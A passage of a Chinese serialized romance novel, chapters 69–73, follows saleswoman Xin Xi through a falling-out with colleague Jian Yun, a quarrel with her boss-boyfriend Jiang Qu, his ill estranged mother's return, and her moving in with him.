辛熙将简运带到了食福居,碰巧被安排到了上次的位置上,像某种隐喻,言而未尽的话会被延续。
简运感到懊恼,直觉得这会是他俩的最后一次见面,索性昂着脖子,认命似的,“想骂就骂吧。”
辛熙盯着他好一会儿,叹了口气,“可我想说,谢谢你。”
简运很意外,不相信地问:“后面的但是……是?”
“你维护我,我很感激。但是……你太冲动了
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,而且选择的方式很傻。”
简运泄了气,蔫了吧唧地靠着椅背,“我以为你不懂”。不懂他对她的感情,所以上回才会说出那些话。他是真心喜欢她的,也许只是他的方式让她误会了。他想再次证明这一点,可好像又弄巧成拙了。
“简运,我不是不知好歹的人。你之前对我好,我一直记着。”
“那你上次那么骂我?”
“嗯”,辛熙喝了口热汤,“上次骂你,是我骂轻了。”
简运反应过来,结舌,“辛熙,你……”
“难道不是吗?”她将碗搁下,表情认真,不像上次一般火冒三丈,“你到底是哪里来的英雄主义,觉得我需要被拯救?”
简运发现自己真的不了解她。上次的不欢而散,他回去反思过,他认为他输给姜渠,无非是败给了职业光环,可他自己认为,他的爱比姜渠更拿得出手,他敢让所有人都知道他喜欢她,可以明目张胆地偏袒她,给她实质性的利益和帮助。可姜渠却做不到,她只是被“慕强”的心性蒙蔽了,他希望辛熙能够看清这一点。
辛熙说:“我在津南的每一单,都是靠我自己跑出来的。你知道我手上的那些医院几乎都是张鑫放弃的,可我就是一次次上门拜访,被拒,依然坚持,费尽心思挖客户的痛点,去向产品部申请资源,和交付专家熬方案配置。哪怕只是个几千块钱的小备件,我都没有敷衍过。可你刚才在会议室说,我的这些单子金额太小,还不如随便的一家代理商。你一句话就否定了我全部的努力。简运,你说你喜欢我,可你似乎又看不起我。 ”
“我没有”,简运矢口否认,“公司只看产出结果,你做了那么多又如何,好的场地分配了更会讨老板欢心的人。而他们不需要做你现在做的这些,就可以交出比你更亮眼的业绩。辛熙,你别再这么傻了好吗?职场的规则,甚至是这个世界的规则,从来都不是谁更努力谁就可以拥有更多的。”
“你说的没错”,辛熙从不怀疑这个理论,“但你似乎并不了解我。这里,我没有任何抱怨的意思,以免你觉得我是在控诉你的感情而继续产生误会。我想告诉你的事,我做这些,从来不是为了优秀的业绩,高额的提成。”
简运不明白,“那你为什么来做销售?”
辛熙向他说起高原上那家县医院的故事,老阿妈手中转动的经纶,森严肃穆的手术里未曾谋面的“神”,她说:“我只是希望,我的存在是有利于他人。我太普通了,我没有救死扶伤的本事,也不能改变谁的命运。但我就想啊,如果我能给医院做好辅助,提高诊断精准性也好,提升诊疗效率也行,那些来医院看病的人是不是就能早些被治愈。积少成多,积沙成塔嘛。”
简运想起了师尧上任的第一次会议上,关于津南二院,她提出设备升级替代新购,为客户省下的资金用作新院区建设,他当时只当她是为了个人业绩考虑。简运有些羞愧。
“我不知道你能不能理解。你们以你们的价值观对我的评判,我其实并不认可,但我尊重。”
“那姜总就能理解你了?你别忘了,在他的位置上,他更需要业绩产出。能坐到他这个位置上的人,不可能认可你这些理想主义。”
辛熙并不认可他对姜渠的定义,但她不想解释太多,只好无所谓地玩笑说,“所以,他不是提拔了那些能为他为麦高产出业绩的人了吗?”
“你不生气?他和何耀丹的绯闻公司已经传遍了,我不信你没听过。”
辛熙正色道:“其实我不太理解的是,为什么到今天,在职场,一位女性被重用都还要被造谣成和上司存在不正当关系。我甚至都不想反驳,这太愚蠢了。”
70. 第 70 章
和简运告别后,辛熙的情绪有些低落。简运是她从校园走入职场后交的第一个朋友,如今分道扬镳的姿态,却都不太优美。
她还记得他们第一次认识,是在新员工的入职培训上,她到得早,选择了最靠边的位置,而他,明明是最后一个到,却在众人的目光中直接坐到了第一排C位上。她很羡慕这样的人,但又觉得很难和这样的人成为朋友。
培训老师为了加速大家的认识,让大家自由组合,互相介绍,就在大家都因为初相识而多少有些局促的时候,他第一个站起来,大大方方地扫了一圈,指着辛熙,“我,就选她吧。”
立马又不怀好意的男生开玩笑说他,“简公子,这是在给自个儿选妃啊。”
简运立马朝那人瞪了一眼,“别乱开女孩子玩笑”,说完又对辛熙道歉,“不好意思啊,是我不太礼貌了,你愿意和我一组吗?”
和简运搭档的入职培训考核,他们拿了第一名,这是辛熙人生里并不太多的第一。好像就是自那以后,在麦高,他俩总会被熟知的人有意无意地捆绑在一起。
她应该早点表明态度的,不管是对简运,还是其他人,都应该更加旗帜鲜明地表达自己的立场,建立边界,哪怕这会让性格显出一点不好惹的棱角来。
辛熙选择爬楼梯上楼,她需要再多一点时间,消化或者说是转移情绪。自从转岗后,她津南京北两头跑,偶尔停下来也在想着上周的投诉怎么处理,下周的谈判要从哪里切入,她已经很少再有时间关心情绪,哦,连身边的朋友,关心得也少了。
辛熙一边爬楼梯一边拿出手机,电话先打给了辛雅,辛雅一般只有午休的这个时间有空理她。辛雅叫她周末去帮自己搬家,她和余博文正式分手了,她再一次需要换个新的住处,至于原因,只能见面再聊。
挂完电话,她又打给了林早。林早是她朋友圈子里变化最多的人,人生的起伏似乎将她裹挟得离旧日的自己越来越远。但林早说过,她不喜欢以前的自己,卑怯、迷惘,毫无章法地求生存,一边抱怨命运的不公,一边祈祷命运对自己网开一面。林早说,她和徐进也走到了尽头,但他给了自己一笔钱,足够支撑她的留学之旅。她并不难过,她也算得偿所愿。
在她和林早通话的时间里,叶眉发来了微信,打听他们的会议是否已经结束。她说师尧好几天没联系她了,而她在一个同事的朋友圈里刷到了他和张伟茹的合照,虽然是好些同事一起聚餐时的合影,但她依然介意,于是和师尧大吵一架,然后她提了分手,虽然师尧没有答应。果然,异地恋最大的挑战不是距离,而是信任。
“哎!”辛熙一边往上爬一边叹气,怎么好像所有人都约好了要在这个冬天闹分手。大概是冬气寒冷,容易让人灰心吧。她也很沮丧。
“叹什么气?”
辛熙被身后的突然冒出来的声音吓了一跳,回头带着点愠怒问:“你怎么在这儿?”
姜渠站在比她矮几阶的楼梯上,抬头凝视她,“聊完了?”
“嗯”,她有些有气无力地回答。
“饭也吃了?”
“嗯?吃了”,辛熙蠕动唇角,想把情绪掩饰下去。他们的恋情尚不稳固,她不想让他看到负面的自己。
姜渠拿出手机,朝上走了两步,“那怎么没有刷会员卡?”手机的界面上显示着,会员卡自从添加了第二个可使用人后,没有一次消费记录。
辛熙解释,“食福居平时也有很多公司的同事会去的,他们有些和那里的服务员关系都很好,我不想被八卦。”就像今天的事情,她应该会在比较长的时间里成为同事们茶余饭后的话题,她已经烦透了。
姜渠并没有反驳她的理由。他收回了手机,可眸子的光却跟着黯淡下去,流转成了晦涩难懂的质询:“辛熙,你真的了解你自己吗?”
辛熙懵懂地回看他,“什么意思呢?”
“你究竟是怕公司的人知道你跟我在一起了,还是根本就不想让世界上的任何一个人知道你有男朋友?”
姜渠的目光令她下意识地收紧肩胛,“请您说清楚一些!”
在黎英打来电话的时候,她的别扭尚且可以被认为是突然见家长的害羞,可她随后产生的情绪抵抗,似乎很难再用“害羞”来搪塞。那天晚上去而往返,他其实是很想问清楚的,她看着楼下的那个男人时,眼神里的那点落寞和心疼是出于什么?还有今天的简运,他凭什么有底气跑到自己的面前来质问!
姜渠站到了和她同一层的台阶上,可他并没有低头,这让他斜向下的一撇显得傲慢,“你年轻,心思活跃,追求的东西多些也无妨,但也得先有能力掌控局面。”
辛熙不得不仰头,却无法与他平视,这让她意识到他们之间的差距,她变得有些烦躁,“姜总是认为,简运今天的行为是我教唆的?”这个问句几乎就是结论,委屈感涌上来挤得唇线不停往下坠,辛熙往上退走一步,总算躲开了他的压迫,“我图什么?除了被看笑话,我能得到什么?在你心里,我就这么蠢吗?”
似有一声轻飘飘的叹息掠过,安静的楼道里他的声音毫无波澜,“我只是认为,你有男朋友了,就不应该给任何异性任何感情上的期许。”
下坠的唇线努力上提,摊平,“我没有!”辛熙忽然就懂了,无论是在川西,还是在津南,她对他的主动,似乎都将自己塑造成了一个在感情上手段并不高明的游戏者。
眼泪滑落的瞬间,辛熙觉得自己太丢脸,被人误会的第一情绪居然还是委屈,这些日子的历练在他面前毫无招架之力。她应该更刀枪不入一些,即便这人是姜渠。
姜渠也看到了她的眼泪。其实他并不是个会对女人的眼泪心软的人,所以在他开除一名不符合工作要求的女性员工,拒绝一名热情表白的柔弱女人,或者狙击绞杀一名女性竞争者时,他一直觉得,眼泪是女性用得最多却最没有价值的武器。可此刻,他确实有些慌了,脚步下意识跟过去。或许应该先抱抱她,语气和用词上也应该再斟酌些。
安全通道门被突然推开,打断了两人之间的气氛。辛熙表情一惊,动作飞快地靠近姜渠,下意识地将自己藏住,姜渠也跟着侧身,这让梁朵丽只能看到了姜渠的背影。
梁朵丽起先并没起疑,匆匆叫了声“姜总”就往楼下跑。只是在拐弯
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后的下几阶楼梯时,她条件反射般抬头去看,栏杆的缝隙里,姜渠的黑色皮鞋上面,分明还有一双米棕色的雪地靴。女款,36或37的脚。梁朵丽太震惊了,她一边继续往下,一边给辛熙发消息:姐姐,姐姐,我发了个大秘密!速回!
辛熙看着消息,哭笑不得,刚才惨淡的乌云被这个小插曲暂时吹散。
姜渠见她脸色缓和,开口说话,“你带的徒弟像你。”
辛熙并不接茬,想着在津南未吵完的架,冷着脸,“姜渠,你就是想跟我吵架是不是!行,下班后,你别走,咱们接着吵。”她甚至伸出食指一甩一甩地,像在青春校园里,约着课后掐架的中二青年。
辛熙想到先前的几通电话,喃喃自语,“这个季节还真特么有什么分手魔咒啊。”
姜渠的耳朵敏锐地抓取到了“分手”二字,这显然不是他的初衷,他拉住她离开的手,严肃认真,“吵架可以,不能提分手。”
辛熙用力地甩开,“吵完再说!”
辛熙回到办公位没多久,梁朵丽就回来了,事情办得比以往快了很多。梁朵丽说:“没办法,我跟财务的大姐说,我现在手里握着个惊天大瓜,我不说会爆炸的,财务大姐就放我回来了。”
辛熙露出狐疑的目光,“财务这么好说话了?”
“嘿嘿”,梁朵丽一脸暧昧的笑,“当然是拿我的八卦换的。”
“你跟财务也说了?”辛熙两眼一黑,真是怕什么来什么。
梁朵丽洋洋得意地甩甩头,“NO,no,我有那么傻吗?我们部门的惊天大瓜凭什么分享给他们啊。我跟她说的是她最喜欢的那个流量明星的八卦。但那并不是重点啊,我的好姐姐哪”,梁朵丽激动得,抓紧了辛熙的手,“你知道我刚才看到什么了吗?我的天呐。”
辛熙只觉得喉咙发痒,侧身端起保温杯的水,假装无事发生,“值得这么夸张吗?”
“当然啊”,梁朵丽跟着辛熙侧身,只为了和她保持最相近的接触,小声凑到她耳边说:“我,刚才看到了姜总!在安全通道那儿!和一个女人!单独和一个女人在一起!”
辛熙清了清嗓子,“公司那么多男男女女,不奇怪吧?可能在聊公事呢?”
“本来是不奇怪的”,梁朵丽两眼放精光,“可我经过的时候,他居然把那女的挡着了!挡着了!”
这大概是所有做贼心虚的人都会有的下意识反应吧,辛熙懊悔不已,“都挡着了你还看见了?”
梁朵丽挑着眉,一副天下第一聪明的样儿,“那女的穿的一双雪地靴,就冬天很常见的那种,棕色的翻毛皮鞋面”,梁朵丽说着,朝四周的同事脚下去找同款,最后落在辛熙这里,“就你这种,一模一样,就......”梁朵丽刚说完,忽然捂住嘴,脑子里有些不清不楚的讯息渐渐显露,言语无序,可怜巴巴地望着辛熙:“那个,我,我,我要不......姐姐,你们还能留我在公司吗?”
“说什么傻话呢”,辛熙将她拉回来坐下,“事情有点复杂,以后有机会再跟你解释。朵丽可以暂时帮姐姐保守秘密吗?”
梁朵丽傻愣着,疯狂点头。
71. 第 71 章
计划赶不上变化,黎英知道辛熙回来了,催促着,叫她和姜渠早些下班回家吃饭。吵架的事情只能暂时搁置。
辛熙拒绝了坐姜渠的车走,她不想再被其他同事看到,也不想让姜渠认为他们可以这样和好。但等回到吉兆胡同时,她立马就后悔了。
客厅里,黎英一脸的不高兴,而另一张沙发上坐着意想不到的两个人,元如苏和佟歆亚。三个时代的女人,用自己最优美的姿态僵持着。
辛熙是第一次见到黎英和元如苏同框,她们俩长得并不像。黎英的脸廓是国泰民安的温柔相,而元如苏却是果敢又坚毅的。佟歆亚陪着元如苏坐,像她的第一次造访一样,茶几和地上摆满了大大小小的礼盒,但看似也都被黎英拒收了。
黎英见辛熙进来,将她招到身边坐下,对对面的俩人说:“你们也看见了,这个家小,容不下其他人。”
“姥姥,元姨怎么能是其他人呢”,佟歆亚自动为元如苏打抱不平,“她是您的女儿啊,女儿想回家来陪陪母亲,不是天经地义的么。”
“我不需要她陪”,黎英提高声量,“她在外面游荡那么多年,我早当没有这个女儿了。”
“妈”,元如苏终于开口,“都这么多年了,我是真觉得累了,我现在只想陪在你和姜姜身边,过点安稳日子。”
黎英皱起眉头,对于女儿的回归她并不欣喜。她太了解她了,元如苏是一生都要飞行的雨燕,不到最后不会停下来,她眉心不可控地一跳,压着嗓子问:“你到底怎么了?”
元如苏强行绷着的情绪在这个时候垮下来,“妈妈,我生病了。”
这是辛熙第一次听说多发性硬化症,因免疫系统错误地攻击神经髓鞘,导致大脑与身体信号传递障碍,病症会不断在反复发作和缓解之间交替,并逐渐影响人的躯体行为。
元如苏是在莫斯科的冬夜,因低温诱发痉挛,晕倒在红场雪地,被送医后确诊的。
辛熙看着眼前的这个女人,长年的户外行走将她的皮肤晒黑,颧骨处有几颗晒斑若隐若现,毛衣下的手臂肌肉像山脊般隆起,她应该是有力的、率性洒脱的、昂扬自在的,而绝不应该在某一天,视力模糊、肢体麻木、共济失调,意识清晰却行动受限地躺在床上。那真的太可怜了。
辛熙靠近黎英,发现她正在发抖,这让一向硬朗的黎英显出了符合她这个年纪的苍老。这个时候,任何的言语安慰都是苍白无力的,辛熙只能伸手覆在她的后背,给她支撑。
黎英哑声问:“姜姜知道了吗?”
“知道”,元如苏低下了头。
佟歆亚说:“姥姥,您也不用太担心。我和Jim在美国,已经帮元姨找了最顶尖的医疗团队,做了最全面的检查。治疗方案在春节前应该就能出来了。”
黎英点点头,心神稍微平稳,指着元如苏,悲愤和担忧搅裹在一起,凝成怨怒,“你,你真的!”顾及到小辈在场,黎英并没有立马数落元如苏,她打发辛熙出去,“今天也没时间做饭了,你去吉祥饭店打包几个菜回来,帮我招待下客人。”
元如苏也借机支开佟歆亚,“你去搭小姑娘把手,好吗?”
母女俩这点默契还是有的。
只是,当屋子里只剩下她们两个时,那些怨怼反倒又不知从何说起,黎英起身翻出手机,“我去问问怀正,他懂得多,应该能我们些建议。”
“妈”,元如苏阻止了她,“别麻烦他了,好么?这些年,他已经为我们做得够多了!”
“你现在知道了!那你当初把自己的孩子丢给他的时候怎么不想想!”黎英绷着脸,眉目肃然,语气严厉,好像面前的孩子尚未成年,“你从来就只顾你自己,像是永远长不大。开心了就对人招招手,不高兴了就丢到一边。这么多年来,他把姜姜培养得那么好,对你却半句怨言都没有过!”
“我知道!”元如苏将脸埋进掌心,她的愧疚感并不是突然才有的,只是这份亏欠从始至终都不足以在她展翅高飞时把她拉回地面。她只能任其生根落地,被尘土掩埋,封存。
“我到底怎么会教养出你这般性子。任性、自私、自我!你不是爱自由吗?那你回来干嘛?”黎英似乎打定主意要这些年的怨气全都撒出来,“我们原本没有你也过得很好!你为什么要回来,还要这样......生着病回来。”
元如苏泣不成声,半跪在黎英面前,“对不起,妈妈。”
在发现自己生病的时候,元如苏也想过继续往前走,走到哪里就死在哪里,没有任何人需要为她的离开难过。可多发性硬化症是一种缓慢而持久的病症,它不能被治愈却又不能立马要了她的命。她在撒哈拉露营时,会突然无法辨认卫星定位仪上的字符,导致迷失方向;她在秘鲁马丘比丘登山时出现了短暂复视,险些跌落山崖;她在意大利托斯卡纳的酒庄打工时因手部发麻,摔碎了客人珍藏的好酒,微薄的薪资全部赔了进去。
她的行程被迫中断。
“你不要再联系姜姜了”,黎英提出严正要求,“你虽生了他,但一天都没有管过他,你不能再这么自私地给他带来痛苦。你是我生的,把你养成什么样子,我都有责任。我会尽我所能,不管是给你看病还是照顾你,剩下的,那就是咱娘俩的命!”
元如苏覆在黎英的腿上大哭,像是个在外受了欺负的孩子。
深冬寒冷,风如刀割般扑面而来。入夜后,吉兆胡同的巷子里鲜少有人外出,辛熙和佟歆亚沉默地走在巷子里,耳边只有两个人并不一致的步调声。
“她的病?”辛熙犹豫着开口。
佟歆亚的声音冷僵僵地,说着残忍的现实,“会慢慢地加重,形成不可能逆的损伤,终末阶段就是致残。现在的医疗技术也只能延缓病情。”
辛熙想到了姜渠,他从美国回来的那天晚上,分明是一身的疲累,自己怎么就什么都没察觉。眼底被酸涩的情绪濡得潮湿,她撇开眼,悄悄抬手擦掉。
佟歆亚嫌弃地看了她一眼,“哭有什么用。他怎么就看上你这么个......”
“没哭,冷风吹的”,辛熙摸了摸脸,“那你刚说的治疗方案呢?”
佟歆亚本不想和她解释太多,但看着她那双通红的眼睛又心有不忍,丢下一句,“你自己问Jim去。”
两个人路过胡同口的小超市时,闫爷爷正在自己架的炭火炉子上烤红薯,见辛熙过来,忙挑了两个烤熟的
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递给她俩,热心地问:“这大冷的天儿,往哪儿去?”
“去吉祥饭店”,辛熙将红薯捧在手上,热乎乎的。
闫爷爷瞧见辛熙的眼睛红红地,有些警惕地看向佟歆亚,他对这个人还有印象,于是误会是这前女友在找茬,故意问辛熙,“大东上次回来说,你们要结婚啦,日子定在哪天?”闫东是闫爷爷的儿子,那家私房菜馆的老板。
辛熙不解,赶忙澄清,“没有的事儿啊”,眼睛却下意识地转向佟歆亚,果然见她冷面一凛,又将烤红薯丢了回去,转身就走。
“嘿,什么脾气”,闫爷爷也不惯着,话说得更随意,“咱老姐姐前儿个就和我们这些老街坊说好了,要请我们喝喜酒。辛辛,你放心,咱们都是支持你的。”
辛熙只能表示感谢。
她快步追上佟歆亚,“喂,走那么快干嘛呀?你找得到地方吗?”
佟歆亚回头瞪她,“既然这边你熟,那你自己去好啦”,说完,就要往回走。
辛熙赶忙拦住,“现在回去还太早了,英姨他们母女还没聊完呢。”
“英......姨?”佟歆亚发现了她称呼上的问题,“你果然就只是个普通租客,对不对!”
过去的尴尬记忆浮上心头,变本加厉地让辛熙不自在,她双手插兜里,双腿交叉叠着,嗫喏,“就......之前是吧。”
佟歆亚气不打一处来,指着她,“好,好,有本事。你和Jim合伙骗我玩儿是吧?”
“这个事情有点复杂,我当时想跟你解释来着,你还记得不”,辛熙看着佟歆亚,漂亮的脸蛋上只剩下怒气,辛熙心下也恼起火,“但我好像用不着跟你解释吧,你俩那时候都分手了......哼。”
“哼?”佟歆亚追上去,“应该是我‘哼’好吗?你跟我说清楚!”
“不说!”
“说清楚!”
“不说,不说”,辛熙摇着脑袋,“就不说!”
佟歆亚见拿她没法,心生一计,“那你想不想知道,我和Jim为什么分手?”
“为什么?”辛熙顺口一问。
“你不说,那我也不说”,佟歆亚顺势拿捏。
辛熙瞧明白她的打算,装作无所谓的样子,“随便咯,反正姜姜都跟我说了。”
佟歆亚却并没有被唬住,自信道:“你骗不了我的,Jim的性格我还是了解的,他可不是会在分手后说前女友坏话的人。”
辛熙只能暗自生火,嘴上却还是不服输,“懂事的女朋友是不会去追究前任的问题的。”
佟歆亚给出致命一击,“恋爱关系里,只有爱得更多的一方才需要懂事。我和Jim在一起的时候,他可是事事都顺着我的。”
辛熙撇嘴,“然后,你可不就成了前任”。
“这将来的事情谁说得准呢,保不定哪天你也会成为前任。”
“这一点上,你就比较有经验了。如果愿意分享给我,我倒是不介意浪费时间来听听。”
“你别以为我不知道你又拐回来套我话了,我可不傻。”
......
两个人就这么斗嘴了一路,谁也没有占到上峰。
72. 第 72 章
走到家门口时,佟歆亚停下来,翘着兰花指,下巴轻轻一点,提醒辛熙,“元姨要搬回家里住,你,得重新找房子了。”
“知道啦”,辛熙早有准备,没理会她的幸灾乐祸,但这找房子搬家之事确实令人苦恼。辛雅分手后,前前后后折腾了大半个月。
佟歆亚像是听到了她的心声,“你要一时找不到房子,我在鼓锣巷的空房子可以暂时借给你。”
“你有这么好?”辛熙眯着眼生疑。
“而且不收房租。”
“那你图什么?”人傻钱多吗?
“你这女人防备心怎么这么重”,佟歆亚克制住想要翻白眼的冲动,保持优雅,“果然底层打拼的人容易患被迫害妄想症。”
“喂!”辛熙想要反击的话还没组好词,门已经从里面拉开,她只得暂时哑火。
屋子里只有元如苏在,她接过餐盒,解释说黎英去了街坊家里打听老中医的事情,让她们先吃。看得出来,佟歆亚和元如苏已经很熟了,说话和动作都是亲近自然的,辛熙站在那里,像个客人一样拘谨。
“过来坐啊”,元如苏一边叫她一边打开餐盒,“怎么都这么清淡,看着就不好吃。”
辛熙略显尴尬,考虑到元如苏是个病人,她专门点的清淡口的。
“我又不是五脏六腑的毛病,不用忌口,好吗?”元如苏说完,挑了份勉强看着有食欲的菜放到自己面前,“今天就先将就吧。”
“哦~”辛熙这才坐上餐桌。
“元姨,你是不是忘了医生的叮嘱了?”佟歆亚非常自然地管着她,又将青菜和蛋羹摆到她面前,“要营养均衡。”
“知道了,知道了”,元如苏嘴里念着她唠叨,但脸上的笑容却表明她很受用。
辛熙安静地坐在一旁,她的拘谨正在缓释,大概是因为这屋子里熟悉的一切令她感到心安......她听她俩聊世界各地的见闻,惊奇的、震撼的,她们见过的世界和自己不同,就像初见施琪时那般,辛熙毫不掩饰自己的歆羡,但,这种不同,不会再为她带来卑怯。
山有山的高,海有海的阔,山海注定无法体会对方的壮阔和高远。
元如苏吃了没两口,忽然转头,凝色正视着辛熙,“听说,你在和我儿子谈恋爱?”
辛熙抿着唇,忽然就理解了辛雅为什么会那么抗拒见到余博文的父母。突然地,毫无准备地,在两个人的感情尚未理清脉络的时候,加入了家长的角色,将这段稚嫩的感情拔苗助长到两个家庭层面,真的很难没有压力。
“有这么难回答吗?我儿子又不是什么拿不出手的人”,元如苏的每一个字眼都带刺。
她大概是不喜欢自己的,辛熙有了这样的结论。她下意识去瞅佟歆亚,佟歆亚回瞪过来,大意是“这可与我无关”。辛熙对元如苏解释说:“阿姨。我和姜渠确实存在恋爱关系,但我不确定你是否期待这个答案,所以很抱歉,刚才没能及时回您,请您理解,我并不想说任何会令您不快的话。”
“上回见你,说话可不是这样的”,元如苏紧紧盯着辛熙,“你这是和我儿子谈上恋爱了,就和他穿一条裤子,成心气我呢。我告诉你,小姑娘,我始终是他亲妈。他再气我,你俩谈恋爱也得先过我这关。”
“不是的,阿姨,您真的误会了,我......”辛熙急忙解释,话到嘴边又想起元如苏的身体状况,生怕气着她,只能顺着,“阿姨,您说得对。我刚才考虑不周,您别生气,好不?”
元如苏脸色缓和,拿出家长的架势,调查似的口吻,“那你老家哪儿的,家里几口人,都是做什么的?”
这是必走的流程么?辛熙在心底哀叹。此时此刻,她无比期望有人能突然造访,打断这段对话。可她望向窗户外,玻璃窗上只能映出她翘首企盼的样子,和元如苏敲着下桌面,提醒她认真回答的手,当然,还有一个专注看好戏的‘前女友’。
辛熙只能据实交待:“老家榆林,我爸妈......嗯,小商贩,开了家农家乐。爷爷奶奶一起住。我还有个姐姐,也在京北工作。”
“好吧,虽然不是本地人,但至少家里也没有负担。那你做什么工作的?每个月薪资多少?看你还在这儿租房,那在京北肯定是没有房产的咯,那有存款吗?”
辛熙略略报了个数,毫无意外地被元如苏嫌弃得不行,“都还没有我儿子的零头多。那姜姜这是,精准扶贫啊,你俩1+1除以2,他的个人资产不是得立马砍半。”
佟歆亚在这时插了一句,“哎,元姨,Jim不看中这些。”要不她也不能成为前任了。
元如苏思考了一下,男性和女性在婚恋上的侧重点确实有所不同,便暂时放过这个话题,问起其他,“那谈过几个男朋友啊,都因为什么原因分手的?”
“阿姨,这......”
身后的房门吱呀一声被推开,辛熙终于见到了救星。姜渠走进来,盛着一身的寒意,站到元如苏和辛熙中间,半点情面都不留,“你有什么资格过问这些?”
“我是你妈,我为什么不能问?”元如苏见到姜渠后,情绪明显更激动。她对辛熙的嫌弃和不喜欢都是淡淡的,但面对亲儿子的反逆,她难以自控。
姜渠觉得可笑至极,声音里的恨意如有尖刺,“你生孩子的时候不想当妈,养孩子的时候不想当妈,现在老了病了,就想当妈了?”
“你”,元如苏身体虚晃一下,险些跌倒,被旁边的辛熙和佟歆亚同时扶住,她却在站稳后甩开了辛熙的手。姜渠的眸子更深更暗。
佟歆亚劝说:“Jim,元姨现在身体不好,不能再受刺激了。而且,那些事情都已经过去这么久了,你都这么大了,可以不要这么计较吗?”
“佟歆亚,这有你什么事儿?”姜渠将辛熙拉到身边,转开脸,冷声说到:“这里不欢迎你们,请回吧。”
“Jim”,佟歆亚简直不敢相信,“你什么时候变得这么冷漠无情了。元姨是你妈妈,她还生着病呢。”
姜渠表面上不为所动,可辛熙明显感觉到手腕上缴缚的力度在加重。她伸出另一只手,绕过去,几乎是抱着他手臂的姿势,想要告诉他,她和他站在一起。
“佟歆亚”,辛熙瞪着她,“你还是不说话的时候比较好看。”
佟歆亚毫不示弱,“反正姥姥已经答应元姨搬回来住了,你俩难不成想阻止人家母女团聚吗?”
这个事实,姜渠从辛熙的眼神里得到了确认,随即,他拿出手机给黎英打电话。电话铃音在门外响起,黎英此时刚好从外面回来。一看这剑拔弩张的气氛就猜出了缘由,自己的女儿和外孙是什么性格,她再清楚不过。默默地叹气发泄掉无奈感,黎英对辛熙说:“辛辛,你跟英姨过来,英姨有几句话想跟你说。”
黎英的几句话却说了将近半个小时。
作为房东,她很抱歉。元如苏需要人照顾,她不得不让辛熙搬出去,辛熙表示理解。
“但英姨最最对你抱歉的事情是,关于姜姜”,黎英说,“我知道这很自私,但英姨真的想请求你,尽量地,不要离开他。”
黎英看着面前这个心思单纯、表情认真的女孩,想起她俩初相识,是在一个雨天,路面打滑,她
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险些跌倒,忽然冲过来一个瘦瘦小小的女孩试图撑住自己。可黎英的身材比她高大些,她根本撑不住,两个一起倒了下去,辛熙被压在黎英下面当肉垫。她帮她的时候是不遗余力的,但到了医院,防备她也是防得固若金汤地,可能是看多了社会新文,辛熙先下手为强,朝黎英哭穷,“婆婆,我可没有撞到您哦,您可不能赖我。我没有钱的,我现在连个住的地方都没找到。”
“你把我当什么人了,我要是讹上你,以后谁还敢做好事”,黎英这么一说,辛熙的戒备立马解除,甚至一听黎英的手机也摔坏了,还给她垫付了医药费。
又傻又聪明的。她的某些对这个世界的关于恶意的揣测与防备,总是来得快去得也快。社会经验教给了她一些现实的思考,但又很快被内心单纯美好的理想主义给赶跑。
在后来的聊天中,黎英知道她正在四处找房子,便主动叫她来和自己住。
黎英说自己对不起姜渠,没能把他的母亲教养好,让她不负责任地生下他。姜渠的童年是破碎的,不稳定的家庭关系让他与世界长期处于对抗状态,如果不是后来的姜怀正给予了长时间的正确引导,现在的姜渠恐怕早就成了社会边缘人士。
“你和姜姜不同,你的父母对你那样好,即便他们有两个孩子,可他们给你的爱却一点都不少。你是在爱里长大的孩子,英姨希望,姜姜能从你这里获得一点美满。有时候,他会有些执拗,会强势,甚至可能说一些尖刻的话,你不用让着他,你跟他吵跟他闹都没关系,但就是不要轻易放弃他。”
客厅里,姜渠背对着她们,面向窗外,这一年的京北甚少落雪,气温也是今天降几度明天升几度,总是冷得不干脆。
黎英和辛熙聊完后出来,姜渠才有了点动静,他转身,视线落到辛熙泛红的鼻头和眼角,不解地望向黎英。黎英并不解释,对元如苏说到:“你今儿先回酒店,等辛辛这边找到新的住处再搬。”
“姥儿”,姜渠无法理解,但他知道黎英决定的事情很难再改,冷嗤一声,转头面对辛熙,强扯着苦涩的笑容,“怎么办?看样子,你得提前和我同居了。可以吗?”
“姜渠,英姨她......”
辛熙的话被元如苏一声乖戾的笑打断,“看看,看看,他多像他爸啊,骗女孩子的手段都这么如出一辙。”
“住嘴!”黎英严厉阻止了她,“我看你还得再多看一项精神科。”
“我哪有说错,当年他不就是这样哄骗我,让我怀上孩子,又弃我而去的吗?”元如苏看着姜渠,“你长得可真像他。就是不知道......”元如苏调转方向对辛熙说:“小姑娘,你可得多点防备心,别像我那么傻。”
辛熙已经知道,元如苏嘴里的男人并不是她先前见过姜院长,她朝前走了一步,站到姜渠的身边,“阿姨,你为什么要说这些伤人伤己的话?你并不了解姜渠,那怎么能随意地评价他呢。”
“我是为你好,别分不清好歹。”
“好了”,黎英出言平息争执,对姜渠说:“你是成年人,同居这种事情,你清楚自己要负什么责任吗?如果你只是随口一说,你就给我滚。”
姜渠看向辛熙,神色认真,“我之前告诉过你,我并不确定自己是否会走入婚姻。如果现在依然是这个答案,你愿意跟我走吗?”
辛熙反问他,“你是不确定婚姻,还是不确定结婚对象?”
姜渠紧锁的眉头似花苞般舒展开,“婚姻。但我保证,如果要结婚,你是唯一的对象。”
“那好”,辛熙很笃定地牵起姜渠的手,“那我跟你走。”
73. 第 73 章
感情上盲目的跟从可以被歌颂成浪漫主义,但落实到现实里,很多问题却难以避免。
辛熙拉着行李箱站在姜渠家的客厅,脑子里对即将到来的同居生活产生了几大忧虑:住一间还是分开?交不交房租?被家里人知道了怎么办?被同事发现该如何解释?
“傻站着干嘛?”姜渠伸手过来牵她,气息便毫无预兆地将她围困,脸上是意味不明的笑,“后悔了?”他太了解她,但不打算放过,“那也不能走了。进了我的狼窝,没有一只兔子能跑掉。”
辛熙不想在第一天就被拿捏,昂起头,装作胆大无畏地往里走,“谁后悔了?我只是先看看环境,好给自己选个朝向好风水好的房间。”
“房间在楼上”,姜渠将人拉回来,“今天太晚了,明天再参观。”
“诶,那我......”
姜渠将她虚张声势看在眼里,“咱们是同居,不是合租。”同居,自然是同吃一锅饭,同睡一张床。
辛熙做着最后的挣扎,吓唬他,“我会抢被子、打呼噜、磨牙、说梦话哦。”
“你的睡相,我没见过?”
话虽这样说,但姜渠还是把她的东西放到了次卧,他觉得有必要先给她一些时间去适应,况且,她也需要在这个家里有属于她自己的私人空间。
次卧房间的布置整体呈灰蓝色,和整个家的装修风格和谐统一,就连床单被套都是极简的深灰埃及棉。房间里唯一的艳色,是辛熙放在角落来不及整理的粉色行李箱以及她刚脱下的羊羔绒外套。
